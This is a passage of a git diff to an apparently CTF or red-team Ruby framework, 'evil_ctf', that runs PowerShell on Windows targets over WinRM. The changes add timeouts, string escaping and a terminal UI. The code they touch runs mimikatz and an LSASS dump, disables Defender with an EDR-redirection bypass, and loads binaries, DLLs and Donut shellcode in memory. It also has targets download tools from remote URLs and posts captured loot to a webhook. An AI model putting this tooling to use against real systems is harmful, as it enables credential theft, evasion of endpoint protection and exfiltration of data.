[] + @active_session = nil + @running_tasks = {} + @alerts = [] + @last_scan_time = nil + @mode = :NORMAL + @results_buffer = [] + @stream_buffer = [] + @uploads = {} + @cli_input = '' + @cli_history = [] + @menu_open = nil + end + + attr_reader :mutex + + def sessions + @mutex.synchronize { @sessions.dup } + end + + def add_session(s) + @mutex.synchronize { @sessions << s } + end + + def active_session + @mutex.synchronize { @active_session } + end + + def set_active_session(s) + @mutex.synchronize { @active_session = s } + end + + def running_tasks + @mutex.synchronize { @running_tasks.dup } + end + + def add_task(id, info) + @mutex.synchronize { @running_tasks[id] = info } + end + + def remove_task(id) + @mutex.synchronize { @running_tasks.delete(id) } + end + + def alerts + @mutex.synchronize { @alerts.dup } + end + + def push_alert(a) + @mutex.synchronize { @alerts << a } + end + + def last_scan_time + @mutex.synchronize { @last_scan_time } + end + + def set_last_scan_time(t) + @mutex.synchronize { @last_scan_time = t } + end + + def mode + @mutex.synchronize { @mode } + end + + def set_mode(m) + @mutex.synchronize { @mode = m } + end + + # CLI input / history helpers for interactive pane + def cli_input + @mutex.synchronize { @cli_input.dup } + end + + def set_cli_input(val) + @mutex.synchronize { @cli_input = val.to_s } + end + + def append_cli_history(val) + @mutex.synchronize do + @cli_history << val.to_s + @cli_history.shift while @cli_history.size > 200 + end + end + + def cli_history_snapshot + @mutex.synchronize { @cli_history.dup } + end + + def menu_open + @mutex.synchronize { @menu_open } + end + + def set_menu_open(sym) + @mutex.synchronize { @menu_open = sym } + end + + def append_result(line) + @mutex.synchronize do + @results_buffer << line.to_s + @results_buffer.shift while @results_buffer.size > 1000 + end + end + + def results_snapshot + @mutex.synchronize { @results_buffer.dup } + end + + def append_stream(line) + @mutex.synchronize do + @stream_buffer << line.to_s + @stream_buffer.shift while @stream_buffer.size > 300 + end + end + + def stream_snapshot + @mutex.synchronize { @stream_buffer.dup } + end + + def uploads + @mutex.synchronize { @uploads.dup } + end + + def set_upload(id, info) + @mutex.synchronize { @uploads[id] = info } + end + + def clear_upload(id) + @mutex.synchronize { @uploads.delete(id) } + end + end +end diff --git a/lib/evil_ctf/connection.rb b/lib/evil_ctf/connection.rb index 6ecd8a3..f86d209 100644 --- a/lib/evil_ctf/connection.rb +++ b/lib/evil_ctf/connection.rb @@ -1,4 +1,8 @@ # frozen_string_literal: true +unless defined?(Fixnum) + Fixnum = Integer +end + require 'winrm' rescue nil @@ -65,17 +69,11 @@ def self.build_full(opts = {}) ) end return conn - rescue WinRM::WinRMEndpointError => e - warn "[!] WARNING - Connection failed for #{endpoint} (endpoint error): #{e.message}" - rescue WinRM::WinRMAuthenticationError => e - warn "[!] WARNING - Authentication failed for #{user}@#{endpoint}: #{e.message}" - rescue WinRM::WinRMTransportError => e - warn "[!] WARNING - Transport error for #{endpoint}: #{e.message}" - rescue WinRM::WinRMEndpointUnavailableError => e - warn "[!] WARNING - Endpoint unavailable for #{endpoint}: #{e.message}" - rescue WinRM::WinRMSessionError => e - warn "[!] WARNING - Session creation failed for #{endpoint}: #{e.message}" rescue => e + # The WinRM gem defines several specific exception classes across + # versions; to avoid uninitialized constant errors on older/newer + # versions and Ruby 3 compatibility issues, catch all errors here + # and give a concise warning message. warn "[!] WARNING - Connection error for #{endpoint}: #{e.class}: #{e.message}" end nil diff --git a/lib/evil_ctf/execution.rb b/lib/evil_ctf/execution.rb new file mode 100644 index 0000000..d1c9084 --- /dev/null +++ b/lib/evil_ctf/execution.rb @@ -0,0 +1,144 @@ +# frozen_string_literal: true +require 'ostruct' +require_relative 'shell_adapter' + +module EvilCTF + module Execution + # Run a PowerShell command/script via a shell or adapter with a local timeout. + # Returns OpenStruct with :ok (bool), :exitcode (Integer or nil), :output (String). + def self.run(shell_or_adapter, ps, timeout: 60) + adapter = EvilCTF::ShellAdapter.wrap(shell_or_adapter) + result = nil + + runner = Thread.new do + begin + result = adapter.run(ps) + rescue => e + result = OpenStruct.new(output: "ERROR: #{e.class}: #{e.message}", exitcode: 255) + end + end + + finished = runner.join(timeout) + if finished.nil? || runner.alive? + # Timeout: return explicit failure and do not try to guess remote state + begin; runner.kill; rescue; end + return OpenStruct.new(ok: false, exitcode: nil, output: "ERROR: TIMED_OUT after #{timeout}s") + end + + out_raw = result && result.output ? result.output.to_s : '' + out = normalize_output(out_raw) + + exitcode = if result.respond_to?(:exitcode) && !result.exitcode.nil? + result.exitcode + else + parse_exitcode_from_output(out) + end + + ok = (exitcode == 0) + OpenStruct.new(ok: ok, exitcode: exitcode, output: out) + end + + def self.normalize_output(s) + return '' if s.nil? + str = s.dup + # Detect UTF-16LE by presence of NULs and try to convert + if str.encoding == Encoding::ASCII_8BIT || str.index("\x00") + begin + # strip trailing nulls and convert + tmp = str.gsub(/\x00/, '') + return tmp.encode('UTF-8', invalid: :replace, undef: :replace) + rescue + return str.force_encoding('UTF-8').encode('UTF-8', invalid: :replace, undef: :replace) + end + end + str.force_encoding('UTF-8') + end + + def self.parse_exitcode_from_output(out) + return nil unless out && !out.empty? + # Common patterns: 'exit code: 0', 'ExitCode: 0', 'Exited with code 0' + m = out.match(/(?:exit code|ExitCode|Exited with code|ExitCode\:?)\s*[:]?\s*(\d{1,3})/i) + return m[1].to_i if m + # If no explicit code, attempt to infer 0 if typical success words exist + return 0 if out =~ /completed|OK|MOVED|COPIED/i + nil + end + + # Stream a long-running command by launching it as a PowerShell background job + # that writes output to a temporary file on the remote host. Yields new text + # chunks to the provided block as they appear. Returns final OpenStruct + # similar to `run` when the job completes or on timeout. + def self.stream(shell_or_adapter, ps, timeout: 300, poll_interval: 1) + adapter = EvilCTF::ShellAdapter.wrap(shell_or_adapter) + token = "stream_#{Time.now.to_i}_#{rand(9999)}" + remote_tmp = "C:/Users/Public/evilctf_#{token}.log" + + # Start background job that runs the command and appends stdout/stderr to file + start_job = <<~PS + try { + Start-Job -ScriptBlock { #{ps} 2>&1 | Out-File -FilePath '#{remote_tmp}' -Encoding UTF8 -Append } | Out-Null + $j = (Get-Job | Where-Object { $_.State -eq 'Running' } | Select-Object -First 1).Id + Write-Output $j + } catch { Write-Output "ERROR: $($_.Exception.Message)" } + PS + + begin + start_res = adapter.run(start_job) + rescue => e + return OpenStruct.new(ok: false, exitcode: nil, output: "ERROR: #{e.class}: #{e.message}") + end + + job_id = start_res && start_res.output ? start_res.output.to_s.scan(/\d+/).first.to_i : nil + unless job_id && job_id > 0 + # fallback: if we couldn't start a job, run directly + res = adapter.run(ps) + return OpenStruct.new(ok: true, exitcode: (res.respond_to?(:exitcode) ? res.exitcode : nil), output: res && res.output ? res.output.to_s : '') + end + + elapsed = 0 + last_content = '' + begin + while elapsed < timeout + # read remote tmp file content (may be empty) + read_ps = "try { if (Test-Path '#{remote_tmp}') { (Get-Content -Path '#{remote_tmp}' -Raw) } else { '' } } catch { '' }" + read_res = adapter.run(read_ps) + content = read_res && read_res.output ? read_res.output.to_s : '' + if content && content.length > last_content.length + new_text = content[last_content.length..-1] + yield new_text if block_given? && new_text && !new_text.empty? + last_content = content + end + + # check job state + state_ps = "try { (Get-Job -Id #{job_id} -ErrorAction SilentlyContinue).State } catch { 'Unknown' }" + state_res = adapter.run(state_ps) + state = state_res && state_res.output ? state_res.output.to_s.strip : nil + break if state && state =~ /Completed|Failed|Stopped/i + + sleep poll_interval + elapsed += poll_interval + end + + # final read + read_res = adapter.run("try { if (Test-Path '#{remote_tmp}') { (Get-Content -Path '#{remote_tmp}' -Raw) } else { '' } } catch { '' }") + final_output = read_res && read_res.output ? read_res.output.to_s : '' + + # cleanup job and tmp file + begin + adapter.run("Remove-Job -Id #{job_id} -Force -ErrorAction SilentlyContinue") + rescue + end + begin + adapter.run("Remove-Item -Path '#{remote_tmp}' -Force -ErrorAction SilentlyContinue") + rescue + end + + OpenStruct.new(ok: true, exitcode: nil, output: final_output) + rescue => e + begin; adapter.run("Remove-Job -Id #{job_id} -Force -ErrorAction SilentlyContinue"); rescue; end + begin; adapter.run("Remove-Item -Path '#{remote_tmp}' -Force -ErrorAction SilentlyContinue"); rescue; end + return OpenStruct.new(ok: false, exitcode: nil, output: "ERROR: #{e.class}: #{e.message}") + end + end + end +end diff --git a/lib/evil_ctf/logger.rb b/lib/evil_ctf/logger.rb index 1918583..4548b5d 100644 --- a/lib/evil_ctf/logger.rb +++ b/lib/evil_ctf/logger.rb @@ -5,12 +5,21 @@ module EvilCTF class Logger def initialize(path = nil) @path = path + @file = nil setup if @path end def setup FileUtils.mkdir_p(File.dirname(@path)) if @path && File.dirname(@path) != '.' - File.open(@path, 'a') { |f| f.puts "=== Session started: #{Time.now} ===" } + @file = File.open(@path, 'a') + @file.sync = true + @file.puts "=== Session started: #{Time.now} ===" + end + + def close + return unless @file + @file.close rescue nil + @file = nil end def info(msg); puts "[+] #{msg}"; write(msg) end @@ -23,8 +32,8 @@ def log_command(cmd, result, elapsed = nil, meta = {}) private def write(msg) - return unless @path - File.open(@path, 'a') { |f| f.puts("[#{Time.now}] #{msg}") } + return unless @file + @file.puts("[#{Time.now}] #{msg}") rescue nil end diff --git a/lib/evil_ctf/session.rb b/lib/evil_ctf/session.rb index 731e73b..d99e75c 100644 --- a/lib/evil_ctf/session.rb +++ b/lib/evil_ctf/session.rb @@ -7,6 +7,9 @@ require_relative 'enums' require_relative 'sql_enum' require_relative 'connection' +require_relative 'utils' +require_relative 'execution' +require_relative 'tui' require 'readline' require 'timeout' require 'evil_ctf/uploader' @@ -107,6 +110,23 @@ def self.run_session(session_options) setup_autocomplete(history) enum_cache = {} + # If the user requested the TTY-based UI, hand off control to the + # TUI renderer which will perform its own background polling and + # interactive handling. After the TUI exits we perform normal + # session cleanup and return. + if session_options[:tui] + begin + puts "[*] Launching TUI..." + EvilCTF::TUI.start_rainfrog(shell, session_options) + rescue => e + puts "[!] Failed to start TUI: #{e.class}: #{e.message}" + ensure + EvilCTF::ShellWrapper.exit_session(shell) if defined?(EvilCTF::ShellWrapper.exit_session) + shell.close if shell + end + return true + end + # Enumeration presets if session_options[:enum] puts "[*] Running enumeration preset: #{session_options[:enum]}" @@ -115,7 +135,7 @@ def self.run_session(session_options) EvilCTF::Tools.safe_autostage('winpeas', shell, session_options, logger) when 'dom' EvilCTF::Tools.safe_autostage('powerview', shell, session_options, logger) - shell.run("IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)") + EvilCTF::Execution.run(shell, "IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)", timeout: 60) when 'sql' EvilCTF::SQLEnum.run_sql_enum(shell) else @@ -269,8 +289,8 @@ def self.run_session(session_options) end ps = "IEX (Get-Content '#{loader_remote}' -Raw); Invoke-Binary -Path '#{exe}'" ps += " -Arguments '#{exe_args}'" unless exe_args.empty? - result = shell.run(ps) - puts result.output + exec_res = EvilCTF::Execution.run(shell, ps, timeout: 60) + puts exec_res.output next when /^dll-loader\s+(.+)$/i @@ -289,8 +309,8 @@ def self.run_session(session_options) dll = remote_dll end ps = "IEX (Get-Content '#{loader_remote}' -Raw); Dll-Loader -Path '#{dll}'" - result = shell.run(ps) - puts result.output + exec_res = EvilCTF::Execution.run(shell, ps, timeout: 60) + puts exec_res.output next when /^donut-loader\s+(.+)$/i @@ -309,8 +329,8 @@ def self.run_session(session_options) donutfile = remote_donut end ps = "IEX (Get-Content '#{loader_remote}' -Raw); Donut-Loader -DonutFile '#{donutfile}' -ProcessId #{processid}" - result = shell.run(ps) - puts result.output + exec_res = EvilCTF::Execution.run(shell, ps, timeout: 60) + puts exec_res.output next EvilCTF::Tools.safe_autostage('procdump', shell, session_options, logger) command_manager.expand_macro('lsass_dump', shell, @@ -331,7 +351,7 @@ def self.run_session(session_options) end if t == 'dom' EvilCTF::Tools.safe_autostage('powerview', shell, session_options, logger) - shell.run("IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)") + EvilCTF::Execution.run(shell, "IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)", timeout: 120) end if t == 'sql' EvilCTF::SQLEnum.run_sql_enum(shell) @@ -343,7 +363,7 @@ def self.run_session(session_options) when /^dom_enum$/i EvilCTF::Tools.safe_autostage('powerview', shell, session_options, logger) - shell.run("IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)") + EvilCTF::Execution.run(shell, "IEX (Get-Content 'C:\\Users\\Public\\PowerView.ps1' -Raw)", timeout: 120) EvilCTF::Enums.run_enumeration(shell, type: 'dom', cache: enum_cache, fresh: session_options[:fresh]) next @@ -373,8 +393,8 @@ def self.run_session(session_options) $_.PathName -notlike '`"*' -and $_.PathName -like '*.exe*' -and $_.PathName -like '* *' } | Select-Object Name, DisplayName, PathName, State, StartMode | Format-Table -AutoSize POWERSHELL - result = shell.run(unquoted_ps) - puts result.output + exec_res = EvilCTF::Execution.run(shell, unquoted_ps, timeout: 30) + puts exec_res.output next when /^tool\s+(\w+)$/i @@ -397,7 +417,7 @@ def self.run_session(session_options) puts "[*] Executing mimikatz..." ps_cmd = <<~PS try { - $proc = Start-Process -FilePath "#{remote_path}" -PassThru -WindowStyle Hidden + $proc = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -PassThru -WindowStyle Hidden $proc.WaitForExit(30000) | Out-Null if ($proc.HasExited) { Write-Output "Mimikatz completed with exit code: $($proc.ExitCode)" @@ -409,14 +429,14 @@ def self.run_session(session_options) Write-Output "Error executing mimikatz: $_.Exception.Message" } PS - result = shell.run(ps_cmd) - puts result.output + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) + puts exec_res.output when 'winpeas' puts "[*] Executing winpeas..." ps_cmd = <<~PS try { - $proc = Start-Process -FilePath "cmd" -ArgumentList "/c #{remote_path}" -PassThru -WindowStyle Hidden + $proc = Start-Process -FilePath "cmd" -ArgumentList "/c '#{EvilCTF::Utils.escape_ps_string(remote_path)}'" -PassThru -WindowStyle Hidden $proc.WaitForExit(60000) | Out-Null if ($proc.HasExited) { Write-Output "WinPEAS completed with exit code: $($proc.ExitCode)" @@ -428,14 +448,14 @@ def self.run_session(session_options) Write-Output "Error executing winpeas: $_.Exception.Message" } PS - result = shell.run(ps_cmd) - puts result.output + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 70) + puts exec_res.output when 'procdump' puts "[*] Executing procdump..." ps_cmd = <<~PS try { - $proc = Start-Process -FilePath "cmd" -ArgumentList "/c #{remote_path}" -PassThru -WindowStyle Hidden + $proc = Start-Process -FilePath "cmd" -ArgumentList "/c '#{EvilCTF::Utils.escape_ps_string(remote_path)}'" -PassThru -WindowStyle Hidden $proc.WaitForExit(30000) | Out-Null if ($proc.HasExited) { Write-Output "Procdump completed with exit code: $($proc.ExitCode)" @@ -447,14 +467,14 @@ def self.run_session(session_options) Write-Output "Error executing procdump: $_.Exception.Message" } PS - result = shell.run(ps_cmd) - puts result.output + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) + puts exec_res.output when 'rubeus', 'seatbelt' puts "[*] Executing #{key}..." ps_cmd = <<~PS try { - $proc = Start-Process -FilePath "#{remote_path}" -PassThru -WindowStyle Hidden + $proc = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -PassThru -WindowStyle Hidden $proc.WaitForExit(30000) | Out-Null if ($proc.HasExited) { Write-Output "#{key.capitalize} completed with exit code: $($proc.ExitCode)" @@ -466,27 +486,27 @@ def self.run_session(session_options) Write-Output "Error executing #{key}: $_.Exception.Message" } PS - result = shell.run(ps_cmd) - puts result.output + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) + puts exec_res.output when 'inveigh', 'powerview', 'sharphound' puts "[*] Executing #{key} PowerShell script..." - ps_script = "IEX (Get-Content '#{remote_path}' -Raw) 2>&1" - result = shell.run(ps_script) - puts result.output + ps_script = "IEX (Get-Content '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -Raw) 2>&1" + exec_res = EvilCTF::Execution.run(shell, ps_script, timeout: 120) + puts exec_res.output when 'socksproxy' puts "[*] Executing SOCKS proxy PowerShell module..." - ps_script = "Import-Module '#{remote_path}' 2>&1; Invoke-SocksProxy -Port 1080" - result = shell.run(ps_script) - puts result.output + ps_script = "Import-Module '#{EvilCTF::Utils.escape_ps_string(remote_path)}' 2>&1; Invoke-SocksProxy -Port 1080" + exec_res = EvilCTF::Execution.run(shell, ps_script, timeout: 120) + puts exec_res.output else if remote_path.end_with?('.exe') puts "[*] Executing #{key}..." ps_cmd = <<~PS try { - $proc = Start-Process -FilePath "#{remote_path}" -PassThru -WindowStyle Hidden + $proc = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -PassThru -WindowStyle Hidden $proc.WaitForExit(30000) | Out-Null if ($proc.HasExited) { Write-Output "#{key.capitalize} completed with exit code: $($proc.ExitCode)" @@ -498,8 +518,8 @@ def self.run_session(session_options) Write-Output "Error executing #{key}: $_.Exception.Message" } PS - result = shell.run(ps_cmd) - puts result.output + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 35) + puts exec_res.output else puts "[*] Tool staged. Execute manually with: #{remote_path}" end @@ -671,6 +691,21 @@ def self.parse_hosts_file(hosts_file) else puts "[!] Invalid host line: #{line}" end + ensure + # Ensure we always try to clean up remote shell and connection resources + begin + shell.close if shell + rescue => _e + # best-effort cleanup + end + begin + conn.reset if conn && conn.respond_to?(:reset) + rescue => _e + end + begin + logger.close if defined?(logger) && logger.respond_to?(:close) + rescue => _e + end end hosts end diff --git a/lib/evil_ctf/tools.rb b/lib/evil_ctf/tools.rb index 89af532..6a08035 100644 --- a/lib/evil_ctf/tools.rb +++ b/lib/evil_ctf/tools.rb @@ -1,7 +1,9 @@ #!/usr/bin/env ruby # frozen_string_literal: true -# Compatibility shim – define Fixnum for Ruby\u20093.x -class Fixnum < Integer; end unless defined?(Fixnum) +# Compatibility shim – define Fixnum for very old Rubies (pre-2.4) +if RUBY_VERSION.to_f < 2.4 + class Fixnum < Integer; end unless defined?(Fixnum) +end require 'fileutils' require 'zip' require 'uri' @@ -307,11 +309,11 @@ def self.disable_defender(shell) } PS - result = shell.run(ps_cmd) - puts result.output + exec_res = EvilCTF::Execution.run(shell, ps_cmd, timeout: 60) + puts exec_res.output # Final check: is Defender still enabled? - final_status = shell.run('Get-MpComputerStatus | Select-Object -ExpandProperty RealTimeProtectionEnabled') + final_status = EvilCTF::Execution.run(shell, 'Get-MpComputerStatus | Select-Object -ExpandProperty RealTimeProtectionEnabled', timeout: 10) if final_status.output.strip == 'True' puts "[!] WARNING: Defender is still enabled after attempted disable." puts "[*] Attempting EDR-Redir V2 bypass..." @@ -331,7 +333,7 @@ def self.disable_defender(shell) ps_cmd = <<~PS try { New-Item -ItemType Directory -Path "C:\\TMP\\TEMPDIR" -Force | Out-Null - $result = Start-Process -FilePath "#{remote_edr_redir}" -ArgumentList "C:\\ProgramData\\Microsoft C:\\TMP\\TEMPDIR \"C:\\ProgramData\\Microsoft\\Windows Defender\"" -PassThru -Wait + $result = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_edr_redir)}' -ArgumentList "C:\\ProgramData\\Microsoft C:\\TMP\\TEMPDIR \"C:\\ProgramData\\Microsoft\\Windows Defender\"" -PassThru -Wait if ($result.ExitCode -eq 0) { Write-Output "[+] EDR-Redir V2 executed successfully" } else { @@ -407,9 +409,9 @@ def expand_macro(name, shell, webhook: nil) puts "[*] Expanding macro: #{name}" macro.each do |step| begin - result = shell.run(step) - puts result.output.strip - matches = EvilCTF::Tools.grep_output(result.output) + exec_res = EvilCTF::Execution.run(shell, step, timeout: 120) + puts exec_res.output.to_s.strip + matches = EvilCTF::Tools.grep_output(exec_res.output) if matches.any? EvilCTF::Tools.save_loot(matches) EvilCTF::Tools.beacon_loot(webhook, matches) if webhook @@ -439,7 +441,7 @@ def self.download_tool(key, remote_download: false, shell: nil) puts "[*] Attempting remote download on target for #{key}..." ps_cmd = <<~PS try { - (New-Object System.Net.WebClient).DownloadFile('#{tool[:download_url]}', '#{tool[:recommended_remote]}') + (New-Object System.Net.WebClient).DownloadFile('#{EvilCTF::Utils.escape_ps_string(tool[:download_url])}', '#{EvilCTF::Utils.escape_ps_string(tool[:recommended_remote])}') "SUCCESS" } catch { "ERROR: $($_.Exception.Message)" @@ -505,7 +507,7 @@ def self.download_from_url(url, path) return success if success # Try PowerShell as last resort puts "[*] Trying PowerShell Invoke-WebRequest..." - ps_cmd = "powershell -Command \"try { Invoke-WebRequest -Uri '#{url}' -OutFile '#{path}' -UseBasicParsing } catch { exit 1 }\"" + ps_cmd = "powershell -Command \"try { Invoke-WebRequest -Uri '#{EvilCTF::Utils.escape_ps_string(url)}' -OutFile '#{EvilCTF::Utils.escape_ps_string(path)}' -UseBasicParsing } catch { exit 1 }\"" success = system(ps_cmd) success end @@ -579,7 +581,7 @@ def self.safe_autostage(tool_key, shell, options, logger) if extracted_file remote_path = File.join(File.dirname(tool[:recommended_remote]), extracted_file) - check_cmd = "if (Test-Path '#{remote_path}') { 'EXISTS' } else { 'MISSING' }" + check_cmd = "if (Test-Path '#{EvilCTF::Utils.escape_ps_string(remote_path)}') { 'EXISTS' } else { 'MISSING' }" result = shell.run(check_cmd) if result.output.include?('EXISTS') puts "[+] #{tool[:name]} already staged at #{remote_path}" @@ -676,7 +678,7 @@ def self.execute_staged_tool(key, args = '', shell) puts "[*] Executing #{key} with args: #{args}" ps_cmd = <<~PS try { - $proc = Start-Process -FilePath "#{remote_path}" -ArgumentList "#{args}" -PassThru -WindowStyle Hidden + $proc = Start-Process -FilePath '#{EvilCTF::Utils.escape_ps_string(remote_path)}' -ArgumentList '#{EvilCTF::Utils.escape_ps_string(args)}' -PassThru -WindowStyle Hidden $proc.WaitForExit(60000) | Out-Null if ($proc.HasExited) { "Completed with exit code: $($proc.ExitCode)" diff --git a/lib/evil_ctf/tui.rb b/lib/evil_ctf/tui.rb index 302530d..062adeb 100644 --- a/lib/evil_ctf/tui.rb +++ b/lib/evil_ctf/tui.rb @@ -2,12 +2,32 @@ module EvilCTF class TUI # Simple in-memory trackers for sessions started via the TUI and a small # streaming output buffer used by the CLI pane. - def self.sessions - @sessions ||= [] + require_relative 'app_state' + + def self.app_state + EvilCTF::AppState.instance + end + + # Thread-safe helpers + def self.sessions_mutex; app_state.mutex; end + def self.stream_mutex; app_state.mutex; end + def self.ui_state_mutex; app_state.mutex; end + + + def self.add_session(s) + app_state.add_session(s) + end + + def self.sessions_snapshot + app_state.sessions + end + + def self.append_stream(line) + app_state.append_stream(line) end - def self.stream_buffer - @stream_buffer ||= [] + def self.stream_snapshot + app_state.stream_snapshot end # Render a fixed 3-column layout (left menu, center CLI, right meta) @@ -15,11 +35,10 @@ def self.stream_buffer # live data in the panels. def self.render_fixed_layout(shell, state = {}, sessions = [], stream_lines = []) cols = (TTY::Screen.width rescue 100) - total = [cols, 120].min + total = [cols, 200].min left_w = 28 - right_w = 24 - center_w = total - left_w - right_w - 6 # borders + spacing + center_w = total - left_w - 6 # borders + spacing (no meta column) # Top bar puts "┌" + "─" * (total - 2) + "┐" @@ -28,120 +47,98 @@ def self.render_fixed_layout(shell, state = {}, sessions = [], stream_lines = [] puts "│ #{meta.ljust(total - 4)} │" puts "└" + "─" * (total - 2) + "┘" - # Pane headers - puts "┌" + "─" * (left_w) + "┬" + "─" * (center_w) + "┬" + "─" * (right_w) + "┐" - puts "│ MENU (Alt+1)".ljust(left_w + 1) + - "│ INTERACTIVE CLI (Alt+2)".ljust(center_w + 1) + - "│ META ".ljust(right_w + 1) + "│" - puts "├" + "─" * (left_w) + "┼" + "─" * (center_w) + "┼" + "─" * (right_w) + "┤" + # Pane headers (two-column layout) + puts "┌" + "─" * (left_w) + "┬" + "─" * (center_w) + "┐" + puts "│ MENU (Alt+1)".ljust(left_w + 1) + + "│ INTERACTIVE CLI (Alt+2)".ljust(center_w + 1) + "│" + puts "├" + "─" * (left_w) + "┼" + "─" * (center_w) + "┤" # Left menu content - left = [ - "Sessions", - " Active Sessions", - " New Session", - " Close Session", - "", - "Tools", - " Recon", - " Credential Access", - " Lateral Movement", - " Enumeration", - " Upload / Download", - "", - "Macros", - " recon_basic", - " recon_full", - " dump_creds", - " disable_defender", - "", - "Profiles", - " default.yml", - " ctf.yml", - " prod.yml", - "", - "Settings", - " SSL Verification", - " Logging", - " Shell Adapter", - " Paths" - ] - - # Center CLI content (inject streaming output at the bottom) - center = [ - "PS> whoami", - (shell && (shell.run('whoami').output.strip rescue 'demo\\user')) || 'demo\\user', - "", - "PS> systeminfo | findstr /B /C:\"OS Name\" /C:\"OS Version\"", - "OS Name: Microsoft Windows Server 2019 Standard", - "OS Version: 10.0.17763", - "", - "PS> upload_file C:\\Tools\\SharpHound.exe", - "[██████████░░░░░░░░░░░░░░░] 48% Chunk 12/25", - "", - "[history] recon_basic" - ] - - # Append latest stream lines (keep center area informative) + # Top-level menu definitions (for rendering and interaction) + menus = { + sessions: ["Active Sessions", "New Session", "Close Session"], + tools: ["Recon", "Credential Access", "Lateral Movement", "Enumeration", "Upload / Download"], + macros: ["recon_basic", "recon_full", "dump_creds", "disable_defender"], + profiles: ["default.yml", "ctf.yml", "prod.yml"], + settings: ["SSL Verification", "Logging", "Shell Adapter", "Paths"] + } + + # Build left menu from `menus` with collapsible behavior + left = [] + open = app_state.menu_open + menus.each do |k, children| + label = k.to_s.capitalize + indicator = (open == k) ? '[-]' : '[+]' + left << "#{label} #{indicator}" + if open == k + children.each do |ch| + left << " #{ch}" + end + left << "" + end + end + + # Center CLI content (history + interactive prompt) + center = [] + # Show last CLI history lines (real commands/results) + cli_hist = app_state.cli_history_snapshot || [] + if cli_hist && !cli_hist.empty? + cli_hist.last(6).each do |ln| + center << ln.to_s + end + else + # Fallback to showing recent stream lines or example placeholders + if stream_lines && !stream_lines.empty? + stream_lines.last(6).each do |ln| + center << ln.to_s + end + else + center << "(no CLI history yet)" + end + end + + # Always show the latest stream lines after history for realtime feedback if stream_lines && !stream_lines.empty? center << "" stream_lines.last(6).each do |ln| center << ln.to_s end - else - center << "[streaming output continues]" end - # Right meta panel (show active sessions) - right = ["Active Sessions:"] - if sessions && !sessions.empty? - sessions.each do |s| - status = s[:thread] && s[:thread].alive? ? 'running' : 'stopped' - right << " - #{s[:ip]} (#{s[:user]}) [#{status}]" + # Show active uploads as additional info + uploads = app_state.uploads + if uploads && !uploads.empty? + center << "" + uploads.each do |id, info| + pct = if info[:total] && info[:sent] && info[:total] > 0 + ((info[:sent].to_f / info[:total]) * 100).round + else + 0 + end + center << "Upload #{info[:name]}: #{pct}% (#{info[:sent]}/#{info[:total]})" end - else - right << " (none)" - end - right << "" - right << "Last Scan: 00:12" - right << "" - right << "Alerts:" - right << " [!] 2 pending" - right << "" - right << "Mode:" - right << " NORMAL" - right << " (i = insert, v = visual)" - - # Render rows - max_rows = [left.size, center.size, right.size].max - max_rows.times do |i| - l = left[i] || "" - c = center[i] || "" - r = right[i] || "" - - print "│ #{l.ljust(left_w - 1)}" - print "│ #{c.ljust(center_w - 1)}" - print "│ #{r.ljust(right_w - 1)}│\n" end - puts "└" + "─" * (left_w) + "┴" + "─" * (center_w) + "┴" + "─" * (right_w) + "┘" + # Provide the interactive prompt line (PS> ...) reflecting current CLI input + center << "" + cli_input = app_state.cli_input || '' + center << "PS> #{cli_input}" - # Results pane - puts - puts "┌" + "─" * (total - 2) + "┐" - puts "│ RESULTS (Alt+3)".ljust(total - 1) + "│" - puts "├" + "─" * (total - 2) + "┤" - puts "│ Command: recon_basic".ljust(total - 1) + "│" - puts "│ ------------------------------------------------------------".ljust(total - 1) + "│" - puts "│ [+] Hostname: WIN-CTF-01".ljust(total - 1) + "│" - puts "│ [+] Domain: CONTOSO".ljust(total - 1) + "│" - puts "│ [+] Logged-on users: Administrator".ljust(total - 1) + "│" - puts "│ [+] High-value targets: DC01, SQL01".ljust(total - 1) + "│" - puts "│ [+] Defender status: Enabled".ljust(total - 1) + "│" - puts "└" + "─" * (total - 2) + "┘" + # Render rows (two-column layout) + max_rows = [left.size, center.size].max + max_rows.times do |i| + l = left[i] || "" + c = center[i] || "" + + print "│ #{l.ljust(left_w - 1)}" + print "│ #{c.ljust(center_w - 1)}│\n" + end - # Footer - footer = "[R] refresh [j] down [k] up [/] search [g] top [G] bottom [F1] Sessions [F2] CLI [F3] Results" + puts "└" + "─" * (left_w) + "┴" + "─" * (center_w) + "┘" + + # Footer: include menu toggle hints and insert-mode indicator + mode_label = app_state.mode == :insert ? '[INSERT]' : '[NORMAL]' + footer = "[S] Sessions [T] Tools [M] Macros [P] Profiles [E] Settings #{mode_label} [i] enter insert [q] quit" puts footer.center(total) end @@ -154,8 +151,8 @@ def self.render_dashboard(shell, state = {}) puts "├" + "─" * (total - 2) + "┤" host = state[:host] || 'N/A' - user = (shell.run('whoami').output.strip rescue 'N/A') - os_info = (shell.run('systeminfo | findstr /B /C:\"OS Name\" /C:\"OS Version\"').output.strip rescue 'N/A') + user = state[:user] || 'N/A' + os_info = state[:os_info] || 'N/A' puts "│ Host: #{host.ljust(total - 10)}│" puts "│ User: #{user.ljust(total - 10)}│" @@ -204,10 +201,18 @@ def self.run_enumeration(shell, type, cache = {}) output = '' cmds.each do |cmd| - result = shell.run(cmd) - output += "\n> #{cmd}\n" - output += result.output.to_s - output += "\n" + begin + res = EvilCTF::Execution.run(shell, cmd, timeout: 30) + output += "\n> #{cmd}\n" + output += res.output.to_s + output += "\n" + unless res.ok + output += "[!] Command may have timed out or failed\n" + end + rescue => e + output += "\n> #{cmd}\n" + output += "[!] Enumeration command error: #{e.class}: #{e.message}\n" + end end cache[type] = output @@ -229,50 +234,175 @@ def self.start_rainfrog(shell = nil, options = {}) reader = TTY::Reader.new 